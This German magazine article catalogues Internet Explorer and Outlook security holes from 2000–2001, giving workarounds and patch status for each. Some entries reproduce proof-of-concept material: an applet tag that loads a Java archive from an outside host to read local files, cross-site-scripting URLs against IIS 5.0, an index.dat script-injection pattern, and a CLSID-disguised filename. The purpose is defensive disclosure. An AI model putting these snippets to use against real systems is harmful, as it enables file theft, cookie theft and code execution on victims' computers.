Microsofts Windows und die zugehörigen Produkte sind nicht gerade der Inbegriff von Systemsicherheit. Die tiefe Integration des Internet Explorers in das Betriebssystem und die nahezu unbegrenzte Erweiterbarkeit durch ActiveX-Komponenten öffnen Angriffen aus dem Internet Tür und Tor. Besonders die Möglichkeit des Active Scriptings erlaubt kaum abzuschätzende Aktionen auf dem Computer des arglosen Website-Besuchers. Hier hilft nur das konsequente Deaktivieren von Active Scripting - auch wenn das letztlich bedeutet, dass einige Sites nicht mehr in ihrer vollen Funktionalität zu betrachten sind.
Vielen Anwendern ist gar nicht bewusst, dass ihre wenige Monate alte Internet-Explorer-Version sich inzwischen als so löchrig wie ein Schweizer Käse erwiesen hat. In schöner Regelmäßigkeit stoßen engagierte Tüftler wie Georgi Guninski auf immer neue Sicherheitslücken im IE. Auf den folgenden Seiten finden Sie in absteigender chronologischer Reihenfolge Beschreibungen der bekannten Bugs und die zugehörigen Gegenmaßnahmen.
Beachten Sie dabei auch den Artikel IE-Sicherheitslücken 1999, der Ihnen die Sicherheitslöcher von 1999 nennt - denn so manche der Bugs finden sich auch im IE 5.5 noch. Die Annahme, der IE 5.5 wäre sicherer als sein Vorgänger, erweist sich als trügerisch. Unser Test zeigt, dass eher neue Bugs hinzugekommen sind. Zumindest sind aber alle Bugfixes früherer IE-Versionen im IE 5.5 integriert.
Achtung: Die Links zu Beispielen der Bugs führen gewöhnlich direkt zu einer Demonstrationsseite. Informieren Sie sich bitte unbedingt vorher mit Hilfe der zugehörigen Beschreibung über die Wirkungsweisen und die zu erwartenden Resultate! (tri/sda/mha)
Neu: XSL-Skripts deaktivieren Sicherheitseinstellungen
Das Deaktivieren von Active Scripting, selbst von Microsoft häufig als Workaround für neue Sicherheitslöcher empfohlen, lässt sich mit Hilfe von XSL-Dateien umgehen. In diesen Vorlagen untergebrachte Skripte werden ungeachtet der Einstellungen der jeweiligen IE-Sicherheitszonen ausgeführt. Betroffen sind der Internet Explorer 5.x sowie Outlook Express.
Workaround
Ein Update des Windows Scripting Host (WSH) 5.1 und 5.5 auf Buildnummern ab 6330 behebt laut Microsoft den Bug.
Datum: | 20. April 2001 |
|---|---|
| |
Betrifft: | IE 5.x, Outlook Express |
Wirkung: | Skripte in XSL-Dateien werden unabhängig von den IE-Sicherheitseinstellungen immer ausgeführt |
Patch: |
Weitere Informationen
Neu: Dateireferenzierung über Klassen-ID
Ausführbare Dateien, die auf Grund ihrer angezeigten Dateiendung nicht als solche erkennbar sind, verführen Anwender häufig zu einem unbedachten Doppelklick. Angreifer tarnen daher ihre Malware gerne mittels doppelter Namenserweiterungen wie etwa Loveletter.txt.vbs. In der Standardeinstellung blenden sowohl der Windows Explorer als auch der Internet Explorer die Extension registrierter Dateitypen aus, so dass der User die vermeintlich harmlose Datei Loveletter.txt sieht.
Das Täuschungsmanöver funktioniert selbst dann, wenn man sich alle Dateien mitsamt Erweiterungen anzeigen lässt. Man muss lediglich auf die Klassen-ID (CLSID) referenzieren. Als Beispiel nennt Bugjäger Georgi Guninski die Datei "testhta.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}". Die genannte CLSID gehört nicht zu TXT-Dateien, sondern zu HTML Applications (HTA). Ein Aufruf der angeblichen Textdatei genügt, um beliebige Schadensfunktionen auszuführen.
Workaround
Konsequenterweise sollte man aus dem Windows Explorer oder Internet Explorer keine Dateien aufrufen, die man nicht vorab geprüft hat. Dazu bieten sich die Datei-Eigenschaften aus dem Kontextmenü an, über der sich der tatsächliche Typ ermitteln lässt. Dies ist natürlich umständlich - allerdings auch die einzige Schutzmöglichkeit bis Microsoft einen Patch herausbringt.
Datum: | 16. April 2001 |
|---|---|
| |
Betrifft: | Internet Explorer und Windows Explorer |
Wirkung: | Ausführen beliebigen Codes |
Patch: | Keiner |
Weitere Informationen
Neu: Dateizugriff über MSScriptcontrol.ScriptControl
Über das ActiveX-Control MSScriptcontrol.ScriptControl und die Funktion GetObject ist es möglich, auf beliebige Dateien auf dem Rechner eines Surfers zuzugreifen und sie an einen Server zu übertragen. Dazu muss allerdings der Dateiname bekannt sein. Da viele Benutzer den von Programmen eingerichteten Standardpfad aber nicht ändern, dürfte sich beispielsweise unter "C:\\Eigene Dateien" diverses Material für neugierige Augen finden. Laut Guninski kann ein Angreifer mit dieser Methode auch Webseiten auslesen, zu denen der Ausgespähte Zugang hat - höchst interessant etwa bei Intranetseiten.
Die Lücke lässt sich offenbar nur unter Windows 2000 mit dem IE 5.5 ausnutzen: Von uns durchgeführte Tests unter Windows 98/SE und Me produzierten lediglich einen Laufzeitfehler.
Workaround
Deaktivieren Sie Active Scripting.
Datum: | 31. März 2001 |
|---|---|
| |
Betrifft: | IE 5.5 unter Windows 2000 |
Wirkung: | Zugriff auf lokale Dateien |
Patch: | Keiner |
Weitere Informationen
Neu: Manipulierter MIME-Header und E-Mail-Attachments
Durch eine Modifikation des MIME-Headers einer HTML-Mail führt der IE in den Versionen 5.01 und 5.5 Attachments mit ausführbarem Code automatisch aus. Der Fehler tritt auf, weil die Rendering Engine des Microsoft-Browsers einige "unübliche" Datei-Typen nicht korrekt behandelt. Gaukelt man dem IE über manipulierte Header-Einträge vor, genau ein solcher Datei-Typ läge als Attachment vor, wird dieses automatisch ausgeführt.
Auch bei Microsoft Outlook rendert nicht das Mail-Programm selbst, sondern der Internet Explorer HTML-Mails. Es würde für das Gelingen des Angriffs also reichen, die Mail in Outlook zu öffnen.
Laut Microsoft-Bulletin ist der Internet Explorer 5.01 mit aufgespieltem Servicepack 2 erstaunlicherweise gegen die Gefahr gefeit. Beim Nachfolger IE 5.5 klafft die Lücke erneut.
Workaround
Installieren Sie den entsprechenden Patch.
Datum: | 29. März 2001 |
|---|---|
| |
Betrifft: | IE 5.01 und IE 5.5 |
Wirkung: | Automatisches Ausführen von HTML-Mail-Attachments |
Patch: |
Weitere Informationen
Neu: IE 5.x und OLE-Datenbank für Internet Publishing
Microsofts OLE-Datenbank für Internet Publishing (MSDAIPP.DSO) stellt ein Scripting-Interface zur Verfügung, über das man auf Objekte auf dem IIS 5.0 zugreifen kann. Auch Exchange-2000-Server mit aktivierten Webverzeichnissen nutzen den IIS.
Ruft ein Nutzer eine HTML-Seite auf, die ein entsprechend präpariertes Skript beinhaltet, ist die Verbindung zu beliebigen Servern mit IIS 5.0 möglich. Befinden sich solche Systeme noch dazu in der IE-Sicherheitszone "Lokales Intranet", erhält der Anwender keine Rückmeldung über die automatische Authentifizierung. Ausnutzen lässt sich diese Lücke aber nur, wenn der Angreifer den Usernamen und den Namen des Servers kennt, von dem er Daten anzapfen will.
Sind die genannten Voraussetzungen erfüllt, können Hacker beispielsweise E-Mails ausspähen (auf Exchange-2000-Servern mit aktivierten Webverzeichnissen) oder eine Auflistung der Serververzeichnisse (auf IIS-5.0-Servern mit aktiviertem Indexdienst) abrufen, auf die der User zugreifen darf.
Workaround
Deaktivieren Sie Active Scripting.
Datum: | 28. März 2001 |
|---|---|
| |
Betrifft: | IE 5.x unter Windows 2000 in Kombination mit IIS-5.0- und Exchange-2000-Servern |
Wirkung: | Ausspähen von E-Mails und Verzeichnisstrukturen von Servern |
Patch: | Keiner |
Weitere Informationen
JVM und Media Player Skins
Die Java-VM des Internet Explorer lässt sich in Verbindung mit dem Media Player 7 dazu verwenden, Daten auszuspähen. Schuld an der Lücke sind die neu eingeführten auswechselbaren Skins.
Das Problem beim Download von neuen Skins: Sie landen immer im gleichen Verzeichnis auf Laufwerk C. Wie Bugjäger Guninski demonstriert, erhält ein Angreifer mit einer manipulierten Skin-Datei (.wmz) Lesezugriff auf dieses Laufwerk und kann dort mit Hilfe von Java-Tags Verzeichnisse durchforsten. Wer wiederum Verzeichnisse auslesen kann, ist laut Guninski auch in der Lage, bereits früher beschriebene Lücken auszunutzen, beispielsweise den unter Cross-Frame Security beschriebenen Bug.
Microsoft hielt die Lücke zunächst für wenig kritisch und spielte die Gefahr herunter. Inzwischen ist aber ein Patch erhältlich.
Workaround
Installieren Sie den entsprechenden Patch.
Datum: | 15. Januar 2001 |
|---|---|
| |
Betrifft: | Java VM / Media Player Skins |
Wirkung: | Lesen von Dateien auf der lokalen Festplatte. |
Patch: |
Weitere Informationen
Webclient NTLM-Authentification
Microsoft reagiert mit diesem Patch auf Sicherheitslücken, die in Zusammenhang mit Microsoft Office 2000, Windows 2000 und Windows Me auftreten. Unter Umständen ermöglicht der Bug einem bösartigen Angreifer den Zugriff auf die verschlüsselten Zugangsdaten eines anderen Users, wenn dieser ein Office-Dokument von einem Webserver abruft.
Das Problemkind ist der Web Extender Client (WEC), der als Bestandteil von Office 2000, Windows 2000 und Windows Me ausgeliefert wird. Der WEC erlaubt dem IE die Anzeige von Dateien und deren Veröffentlichung via Webfolder.
Leider berücksichtigt der WEC nicht die Sicherheitseinstellung im IE, mit welchen Servern die NTLM-Authentifizierung (NT LanMan) ausgeführt werden soll. Stattdessen führt der WEC die Authentifizierung mit jedem Server aus, der eine entsprechende Anfrage startet. Dies kann über eine Websession mit einer Website oder das Öffnen einer HTML-Mail geschehen. Die verschlüsselten Daten kann die Website dann mittels einer Bruce Force Attacke oder spezieller Tools wieder entschlüsseln und dem Website-Betreiber Zugang zu geschützten Ressourcen ermöglichen. Microsoft weist jedoch ausdrücklich darauf hin, dass ein Angreifer nicht die Kontrolle über den Rechner erlangen kann.
Workaround
Installieren Sie den entsprechenden Patch.
Datum: | 11. Januar 2001 |
|---|---|
| |
Betrifft: | Microsoft Office 2000, Windows 2000, Windows Me, IE 5.0 oder später mit aktivierten Webfoldern. |
Wirkung: | Auslesen von Login-Daten |
Patch: |
Weitere Informationen
IE und Media Player 7
Eine via Internet Explorer auszunutzende Sicherheitslücke im Windows Media Player 7 ermöglicht das Lesen von Dateien auf der lokalen Festplatte. Dies öffnet der Ausführung beliebiger Programme Tür und Tor. Im schlimmsten Fall kann der Angreifer den Rechner komplett kontrollieren.
Laut Bugjäger Guninski ist das ActiveX-Control WMP für die Verwundbarkeit verantwortlich. Es erlaubt den Aufruf von Javascript-URLs in beliebigen bereits geöffneten Frames, wodurch sich deren DOM übernehmen lässt. Eine ausführliche Beschreibung der Lücke sowie eine Demonstration der Lücke finden Sie auf Guninskis Website.
Das Sicherheitsrisiko betrifft alle Rechner unter Windows 98/ME und 2000, auf denen der Windows Media Player 7 installiert ist.
Workaround
Deaktivieren Sie Active Scripting.
Datum: | 01. Januar 2001 |
|---|---|
| |
Betrifft: | IE / Windows Media Player 7 |
Wirkung: | Lesen von Dateien auf der lokalen Festplatte. |
Patch: | Keiner |
Weitere Informationen
Print Template und File Upload
Das so genannte "Browser Print Template" des IE 5.5 zur Verarbeitung von Druckvorlagen erlaubt einer Webapplikation, ungesicherte Vorlagen ohne Zustimmung des Users in dessen System einzuschleusen. Diese Vorlagen gelten per Definition als sicher und ermöglichen somit die Ausführung von ActiveX-Controls. Dadurch sind unautorisierte Aktionen auf dem Computer des Betroffenen möglich. Der Fehler kann mit einem Patch von Microsoft behoben werden. Dieser Patch bügelt noch drei weitere Bugs aus:
Die Sicherheitslücke "File Upload via Form" betrifft den IE 5.0 bis 5.5 und ermöglicht einem Website-Betreiber, Dateien auf dem Computer eines Besuchers zu lesen. Dies wird über das in HTML-Formularen eingesetzte Element INPUT TYPE ermöglicht, das den Upload von Dateien auf eine Website erlaubt. Eine Webanwendung könnte dieses Feld mit einem Dateinamen ausfüllen und abschicken, also Zugriff auf eine Datei erlangen.
Ebenfalls behoben sind neue Varianten der Sicherheitslücken "Scriptlet Rendering" und "Frame Domain Verification", die jeweils den IE 5.0 bis 5.5 betreffen. Sie ermöglichen das Auslesen von Dateien auf dem Rechner eines Website-Besuchers.
Workaround
Installieren Sie den Patch.
Datum: | 01. Dezember 2000 |
|---|---|
| |
Betrifft: | IE 5.0 bis IE 5.5 |
Wirkung: | Ausführen von ActiveXControls, Lesen von Dateien |
Patch: | Download. Der Patch funktioniert nur für den IE 5.01 SP1, IE 5.5 oder den IE 5.5 SP1. |
Weitere Informationen
Object Type="text/html"
Diese Sicherheitslücke funktioniert nach einem ähnlichen Prinzip wie das ebenfalls von Guninski aufgedeckte Sicherheitsloch vom 20.November (IE 5.x/Outlook). .chm-Dateien werden dabei in einem temporären Verzeichnis des Internet Explorer zwischengespeichert und dort ausgeführt. Die neuen Sicherheitsprobleme unterscheiden sich aber in der Vorgehensweise.
Hauptproblem eines Angreifers ist in der Regel, dass er den genauen Pfad zu einer auszuführenden Datei wissen muss. Ein gute Möglichkeit sind die Internet Explorer-Ordner für temporär zu speichernde Dateien. Diese bekommen jedoch zufällige Namen vom System zugewiesen. Allerdings gibt es eine Datei, die sich in der Regel immer an derselben Stelle befindet, die Datei index.dat. Diese Datei enthält alle besuchten URLs sowie die Namen der temporären Ordner.
In diese Datei muss der Angreifer nur ein Javascript einschleusen, indem er eine URL der Art http://hostname/index.html?<SCRIPT>JSCODE</SCRIPT>aufrufen lässt. Das ist möglich, weil IE jeweils die komplette URL in der index.dat speichert. Im nächsten Schritt muss der Angreifer dafür sorgen, dass IE die Datei öffnet und parst. Normalerweise verweigert der IE das, aber über das Tag Object Type="text/html" lässt er sich dazu zwingen. Damit hat der Angreifer Zugriff auf die temporären Verzeichnisnamen und kann von dort eine .chm-Datei per window.showHelp("VERZEICHNIS\\\\chm1[1].chm") aufrufen.
Workaround
Deaktivieren Sie Active Scripting und verschieben Sie die temporären Internet-Datei-Ordner von ihrem Standardort.
Datum: | 23. November 2000 |
|---|---|
| |
Betrifft: | IE 5.x / Outlook / Outlook Express |
Wirkung: | Unzulässiges Ausführen von Dateien; Ermittlung von IE-Temp-Ordnern |
Patch: | Keiner |
Weitere Informationen
Update: CHM-Dateien in IE 5.x und Outlook
Ein extremes Sicherheitsloch in IE 5.x in Verbindung mit Outlook ermöglicht das Ausführen von willkürlichen Programmen. Der Ansatzpunkt sind CHM-Dateien und das Auffinden eines Verzeichnisses für temporäre Internet-Explorer-Dateien. Ein bösartiger Angreifer kann dadurch die totale Kontrolle über den Rechner übernehmen.
Die schon vor einiger Zeit von Guninski gemeldete Sicherheitslücke wurde schnell von Microsoft gefixt - CHM-Dateien dürfen nach dem Fix nur vom lokalen Rechner gestartet werden. Allerdings gibt es eine Möglichkeit, temporäre Ordner des Internet Explorers aufzuspüren und in diesem dann entsprechende CHM-Dateien zu cachen - unter anderem lässt sich diese Datei dann über die Funktion windows.showHelp() ausführen.
Workaround
Zwar bietet Microsoft mittlerweile einen Patch an, der jedoch für den IE 5.5 bislang nur in der US-Version vorliegt.
Datum: | 20. November 2000 |
|---|---|
| |
Betrifft: | IE 5.x / Outlook / Outlook Express |
Wirkung: | Unzulässiges Ausführen von Dateien, Ermittlung von IE-Temp-Ordnern |
Patch: | Patch für IE 5.01 SP1 und IE 5.5 SP1 |
Weitere Informationen
Update: Indexing Service
Unter Windows 2000 zeigt sich ein Problem mit IE 5.x und Outlook, wenn der Indexdienst gestartet ist. Dieser erlaubt die Suche nach Dateien mit spezifischen Namen oder Inhalten sowie den Einsatz von Wildcards. Nach Angaben von Guninski ist insbesondere die Kombination mit anderen lokalen "Lese-Sicherheitslöchern" als bedenklich einzustufen.
Die Sicherheitslücke wird über das ActiveX-Objekt ixsso.query hervorgerufen, das die Abfrage innerhalb des Indexdienstes ermöglicht und überraschenderweise als "sicher" für Scripting-Befehle ausgewiesen ist. Es kann also in einem Script aufgerufen werden und die gefundenen Dateinamen an einen anderen Rechner weiterleiten.
Workaround
Installieren Sie den Patch.
Datum: | 10. November 2000 |
|---|---|
| |
Betrifft: | IE 5.x / Outlook / Outlook Express |
Wirkung: | Unzulässiges Auslesen von Dateien |
Patch: |
Weitere Informationen
IE 5.5, Outlook und Java
Das Sicherheitsloch betrifft neben dem Internet Explorer 5.5 auch Outlook. Es wird über ein Java-Applet gesteuert und erlaubt das Auslesen lokaler Dateien, willkürlicher URLs und der lokalen Verzeichnisstruktur. Der Fehler tritt auf, sobald eine entsprechende Webseite oder HTML-Nachricht gelesen wird.
Die Sicherheitslücke entseht durch die Möglichkeit, über das Object-Tag ein Applet einzubinden und dieses willkürlichen Code ausführen zu lassen. Das Applet kann dabei eine URL aus dem eigenen Java-Code auslesen und mit einem Host kommunizieren.
Nach Guninskis Einschätzung entsteht das Sicherheitsproblem nicht aufgrund eines Fehlers in der Microsoft JVM, sondern eher durch die Art und Weise, wie IE 5.5 den Javacode verarbeitet.
Guninski zeigt auf Site den Beispielcode zur Integration des Applets, das wiederum den Javacode aufruft.
<OBJECT CLASSID="JAVA:gjavacodebase.class" WIDTH=590>
<PARAM NAME="ARCHIVE" VALUE="http://www.guninski.com/
gjavacodebase.jar">
<PARAM NAME="CODEBASE" VALUE="file:///c:/">
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</OBJECT>
Workaround
Deaktivieren Sie Java.
Datum: | 18. Oktober 2000 |
|---|---|
| |
Betrifft: | IE 5.5 / Outlook / Outlook Express |
Wirkung: | Unzulässiges Auslesen von Dateien / URLs |
Patch: | Keiner |
Weitere Informationen
Cross-Frame Security/Windows Spoofing
Eine Variante des bereits im Januar 2000 von Georgi Guninski entdeckten und mit IE 5.0 beseitigt geglaubten Bugs öffnet verschiedene Sicherheitslöcher in Microsofts Browser. Verursacher scheint die Microsoft Scriptlet Component zu sein: Füttert man sie nicht nur mit einem URL, sondern hängt anschließend das Zeichen mit dem ASCII-Code 01 samt des angepeilten URL an ("%01beliebigeURL"), nimmt der Browser irrtümlicherweise an, die so geladene Seite stamme direkt von der angegebenen Site. Auf diese Weise hebelt der Bug die Sicherheitseinstellungen des Browsers aus.
Baut ein übel gesinnter Angreifer den entsprechenden Code in seine Website ein, ergeben sich bei Aufruf einer solchen Page zwei mögliche Angriffswege. Zum einen kann der Angreifer lokale Files - sofern ihm deren Dateiname bekannt ist - auslesen. Die erscheint allerdings weniger bedenklich, da wohl nur selten sensitive Daten in Textfiles mit leicht zu erratenden Namen abgelegt werden.
Ein wesentlich höheres Risiko stellt dagegen der zweite mögliche Angriffsweg dar, das sogenannte Window Spoofing. Über dieses lässt sich dem Browser etwa vorgaukeln, er befände sich auf einer Trusted Site, obwohl nach wie vor der Zugriff auf die Site des Angreifers erfolgt. Auch der umgekehrte Weg ist möglich, indem ohne Wissen der Anwenders eine von ihm genutzte Site geöffnet und die dabei - etwa über Cookies - übermittelten Benutzerdaten abgefangen werden.
Workaround
Unterbinden Sie Active Scripting oder das Ausführen von ActiceX-Controls.
Datum: | 10. Oktober 2000 |
|---|---|
| |
Betrifft: | IE 5.5 |
Wirkung: | Unzulässige Rechtevergabe |
Patch: | Keiner |
Weitere Informationen
tecChannel-Demonstration des Bugs anhand der MSN-Site
tecChannel-Demonstration anhand der tecChannel-Foren (dazu müssen Sie als Forenbenutzer registriert sein)
Update: IIS 5.0 Cross Site Scripting
Die folgenden zwei Sicherheitslöcher, die Georgi Guninski meldet, sind keine Browser-Bugs im eigentlichen Sinne, betreffen jedoch jeden Surfer. Grundlage ist der Internet Information Server 5.0 unter Windows 2000. Die Sicherheitslücke wird über den Browser (IE oder NS) aufgestoßen, das eigentliche Problem befindet sich auf Seiten des Webservers. Die Bedrohung stellen dabei .shtml-Dateien oder die Datei /_vti_bin/shtml.dll dar.
Für den Sicherheitseinbruch über die shtml.dll-Datei müssen die FrontPage Server Extensions installiert sein.
Über spezielle URLs kann der Internet Information Server 5.0 dazu gebracht werden, spezifizierte Inhalte an den Browser zurückzusenden. Das Sicherheitsrisiko besteht insbesondere, wenn Javascript aktiviert ist. Es reicht dabei, dass der Surfer auf einen Link klickt oder bösartig aktivierte Webseiten aufruft. Der Internet Information Server liefert daraufhin vom Anwender bestimmte aktive Inhalte zurück.
Beide Angriffsarten greifen auf eine Fehlermeldung zurück, die entweder der Internet Information Server oder die FrontPage Server Extensions liefern.
Beispiel 1:
http://iis5server/<SCRIPT>alert('document.domain='+document.domain)</SCRIPT>.shtml
Beispiel 2:
http://iis5server/_vti_bin/shtml.dll/ <SCRIPT> alert('document.domain='+document.domain) </SCRIPT>
Beide URLs führen im Browser vom IIS bereitgestelltes JavaScript aus, das der bösartige Angreifer definiert.
Resultat: Diese Sicherheitslücke ermöglicht das Lesen von Dokumenten auf einem Webserver in einer Firewall (Intranet) oder den Diebstahl von Cookies. Sollte der Anwender eine Webseite in der Sicherheitszone unter "Vertrauenswürdige Seiten" eingeordnet haben, können andere Browserattacken gestartet werden.
Workaround
Installieren Sie den Patch.
Datum: | 21. August 2000 |
|---|---|
| |
Betrifft: | Internet Explorer 4.x, 5.x. Netscape-Browser |
Wirkung: | Dokumente innerhalb einer Firewall lesbar, Diebstahl von Cookies, andere Browserattacken. |
Patch: |
Weitere Informationen
Java VM Applet
Die Microsoft Virtual Machine (JVM) läuft auf allen Microsoft Windows Betriebssystemen. Sie ist ebenfalls Bestandteil des Internet Explorer 4.x sowie 5.x.
Die Java VM Applet-Sicherheitslücke erlaubt einem böswilligen Website-Betreiber über ein Java Applet, die Identität des Besuchers anzunehmen und in dessen Identität andere Webseiten zu besuchen und deren Informationen abzurufen. Die dem Java Applet mittels Sandbox gesetzten Grenzen können dabei auf Grund der Sicherheitslücke überschritten werden.
Das Java Applet stellt beim Aufruf eine Verbindung zu einer beliebigen Webseite her. Der bösartige Eindringling kann diese Sicherheitslücke beispielsweise dazu verwenden, eine Intranetseite hinter einer Firewall zu besuchen und mittels der Identität des Besuchers dort Informationen abrufen. Voraussetzung ist die Kenntnis des Intranetnamens.
Workaround
Identifizieren Sie Ihre Microsoft VM mit dem JView-Tool (wie in den FAQ beschrieben) und bestimmen Sie Ihre Versionsnummer (2000er, 3100er, 3200er, 3300er). Installieren Sie die aktuellste Version der JVM (3802)
Datum: | 21. August 2000 |
|---|---|
| |
Betrifft: | Internet Explorer 4.x, 5.x. Betrifft alle 2000er, 3100er, 3200er und 3400er Serien der VM |
Wirkung: | Maskierung als Besucher, Zugriff auf fremde Webseiten |
Patch: |
Weitere Informationen
Programmstart unter Windows 98/2000
Mit IE 5.x für Windows 98 lassen sich nach Aussagen von Georgi Guninski beliebige Dateien über das Microsoft Netzwerk ausführen. Dies betrifft zudem lokale Administratoren unter Windows 2000. Die Sicherheitslücke tritt beim Ordneraufruf (lokal oder per Remote Access) über den Browser auf. Die Ordner müssen dabei wie Webseiten behandelt werden - das ist die Standardeinstellung unter Windows 98/2000. Zu Grunde liegt eine Schwäche unter Windows 98/2000, die eben genau dieses Surfen durch Ordnerstrukturen erlaubt und sie wie Webseiten anzeigen lässt. Die Anzeigeart des Ordners bestimmt die Datei folder.htt - eine spezielle HTML-Datei, die Active Scripting oder ActiveX-Objekte enthalten kann. Das ActiveX Control ShellDefView ermöglicht dabei die Anzeige der Ordnerdateien. InvokeVerb, eine spezielle Methode dieses ActiveX Controls, wird verwendet, um beispielsweise die Eigenschaften des Ordners anzuzeigen - oder, was das Ganze brisant macht - um Dateien zu öffnen oder auszuführen. Resultat: Die feindliche Übernahme des Computers/Servers ist möglich.
Workaround
Verzichten Sie darauf, Ordner über den Browser aufzurufen und wie Webseiten anzeigen zu lassen.
Datum: | 14. August 2000 |
|---|---|
| |
Betrifft: | IE 5.x |
Wirkung: | Übernahme des Computers/Servers |
Patch: | Keiner |
Weitere Informationen
Scriptlet Rendering
Dieses Sicherheitsloch erlaubt es einem Website-Betreiber, Dateien auf dem Computer eines Besuchers zu lesen, jedoch nicht zu löschen oder zu editieren. Der Angreifer muss dabei den genauen Pfad und Namen der Datei wissen. Die einzigen anzeigbaren Dateien sind allerdings .txt oder .doc-Dateien.
Das ActiveX-Control, das für aufgerufene Scriptlets verwendet wird, wurde eigentlich zum Rendern von HTML entworfen. Mittels dieses ActiveX-Controls lassen sich andere Dateien anzeigen, sofern Name und Standort der Datei bekannt sind.
Workaround
Installieren Sie den Patch. Der Patch schließt zudem zusätzlich die Sicherheitslücke Frame Domain Verification.
Datum: | 09. August 2000 |
|---|---|
| |
Betrifft: | Internet Explorer 4.x, 5.x. |
Wirkung: | Anzeige von Daten. |
Patch: |
Weitere Informationen
Programmstart über Word/Access
Microsoft Word 2000 und Access 2000 erlauben (mit oder ohne den Service Release 1a) das Ausführen eines beliebigen Programms, wenn ein Word-Dokument geöffnet ist. Der Programmstart kann nach Angaben von Georgi Guninski über den Internet Explorer beim Besuch einer Website oder beim Öffnen/Vorschau einer HTML-Nachricht in Outlook ausgeführt werden.
Der Ablauf: Word akzeptiert eine Access-Datenbank als Datenherkunft für Seriendruck oder -mails. Im schlimmsten Fall öffnet Word die Datenbank und führt VBA in Formularen aus, die beim Datenbankstart geöffnet sind. Und: VBA erlaubt den Start von beliebigen Programmen. Voraussetzung dafür: Der Angreifer muss auf eine .mdb-Datenbank zugreifen können, die sich entweder auf dem UNC-Share oder auf dem lokalen Laufwerk befindet. Als Endergebnis erhält der Angreifer die volle Kontrolle über den Computer.
Workaround
Guninski gibt dazu auf seiner Website außer einer noch genaueren Beschreibung des nötigen Codes keine weiteren Auskünfte.
Datum: | 7. August 2000 |
|---|---|
| |
Betrifft: | Fehler in Word/Access, über Internet Explorer/Outlook ausführbar |
Wirkung: | Übernahme des Computers |
Patch: | Keiner |
Weitere Informationen
Virtual Machine Sandbox
Java-Applets laufen in einer sicheren Umgebung, der so genannten Sandbox (Sandkasten). Normalerweise können sie diese Umgebung nicht verlassen und somit auch keine Daten auf dem Computer verändern. Durch eine Reihe von Schritten ist es jedoch möglich, diese Sperre zu umgehen und dem Applet vollen Zugriff auf den Computer zu erlauben.
Workaround
Da auch die aktuellste VM fehlerhaft ist, empfiehlt es sich, die Java-VM in den Browsereinstellungen zu deaktivieren. Wer nicht auf Java verzichten kann, sollte auf jeden Fall die neueste Virtual Machine (Build 3802) installieren. Alle anderen Virtual Machines mit den Build-Nummern von 2000 bis 2438 oder 3000 bis 3167 sind mit zusätzlichen Fehlern behaftet. Die Build-Nummern 2xxx wurden mit dem Internet Explorer 4.x ausgeliefert, mit der Zahl drei beginnende Versionsnummern betreffen den Internet Explorer 5. Benutzer des Internet Explorer 4 können problemlos das für den Internet Explorer 5 vorgesehene Build 3802 verwenden.
Sie können Ihre Version ermitteln, indem Sie ein Kommandozeilenfenster (DOS-Box) öffnen und den Befehl Jview eingeben. Die letzten vier Stellen der Java-Versionsnummer bezeichnen den Build. Wenn Sie das Update der Virtual Machine nicht installieren wollen, sollten Sie das Ausführen von Java-Applets über Extras/Internetoptionen/Sicherheit/Internet/Stufe anpassen... deaktivieren.
Datum: | 31. Juli 2000 |
|---|---|
| |
Betrifft: | Internet Explorer 5, 4.x |
Wirkung: | Unzulässiger Zugriff über Java-Applets |
Patch: |
Weitere Informationen
Probleme mit 128 Bit und NT
Keine Sicherheitslücke im eigentlichen Sinne, aber dennoch ziemlich ärgerlich: Beim Update des Internet Explorers auf 5.01 Servicepack 1 oder auf die neue Version 5.5 wird gleichzeitig die 128-Bit-Verschlüsselung installiert.
Das ist kein Problem, solange man das NT Servicepack 6a nicht installieren muss. Genau das muss man aber jedes Mal wiederholen, wenn man neue NT-Komponenten installiert. Servicepack 6a verweigert jedoch die Installation, sobald starke Verschlüsselung installiert ist.
Workaround
Es gibt eine Möglichkeit, das Servicepack 6a für Windows NT zu überlisten. Es überprüft das Vorhandensein der 128-Bit-Verschlüsselung nämlich anhand der beiden Dateien schannel.dll und secure.dll. Benennen Sie vor Installation des SP6a diese beiden Dateien um und geben ihnen nach der Installation wieder ihren richtigen Namen.
Datum | 25. Juli 2000 |
|---|---|
| |
Betrifft | Internet Explorer 5.01 SP1 und 5.5 unter NT |
Wirkung | Servicepack 6a für NT lässt sich nicht mehr installieren. |
Patch | Keiner |
Active Setup Control 2
Das Active-Setup-Control behandelt jegliche von Microsoft signierte CAB-Datei als vertrauenswürdig und installiert sie deshalb ohne Rückfrage. Gleichzeitig kann der Webprogrammierer angeben, in welches Verzeichnis die geladene CAB-Datei auf dem Rechner des Benutzers zu schreiben ist. In Kombination kann ein böswilliger Webmaster eine Webseite erstellen, die dafür sorgt, dass wichtige Systemdateien zerstört werden. Benutzer von Windows 2000 sind sicher, weil die so genannte System File Protection die zerstörten Dateien automatisch wieder herstellt.
Workaround
Installieren Sie den Patch! Der Patch lässt sich nur auf IE 4.01 mit Servicepack 2 oder auf IE 5.01 installieren.
Datum: | 29. Juni 2000 |
|---|---|
| |
Betrifft: | Internet Explorer 4, 4.01, 5 und 5.01 |
Wirkung: | Zerstörung von Systemdateien möglich |
Patch: | Patch für IE 4.01 SP2, 5.01, 5.01 SP2. Patch für IE 5.5 |
Weitere Informationen
Frame Domain Verification
Wieder einmal ist Active Scripting Voraussetzung für einen Angriff, der das Cross-Domain-Sicherheitsmodell umgeht. Dieses soll dafür sorgen, dass Daten in verschiedenen Domains, etwa lokal und auf einem Internet-Host, voneinander abgeschirmt sind.
Durch zwei fehlerhafte Funktionen im Internet Explorer lassen sich dennoch lokale Daten des Surfers ausspionieren. Zu diesem Zweck weist eine entsprechend präparierte Website den Browser an, ein Frame in einem Fenster zu öffnen. In diesen Frame lassen sich nun Dateien von der Festplatte des angegriffenen PCs laden, sofern deren Pfad und Name bekannt ist. Ein einfaches Skript, das im Browserfenster abläuft, kann auf den Frame zugreifen und dessen Inhalt zum Hacker übermitteln.
Workaround und Patch
Als Workaround empfiehlt es sich, Active Scripting zu deaktivieren. Zudem bietet Microsoft einen Patch an, der einen installierten Internet Explorer in der Version 4.01 mit Service Pack 2 oder Version 5.01 voraussetzt. Benutzer von IE 5.0 müssen zunächst auf 5.5 aufrüsten. Der Patch behebt gleichzeitig die Sicherheitslücken Unauthorized Cookie Access und Malformed Component Attribute. Außerdem schafft er eine neue Variante des WPAD-Spoofings aus der Welt.
Datum | 17. Mai 2000 |
|---|---|
| |
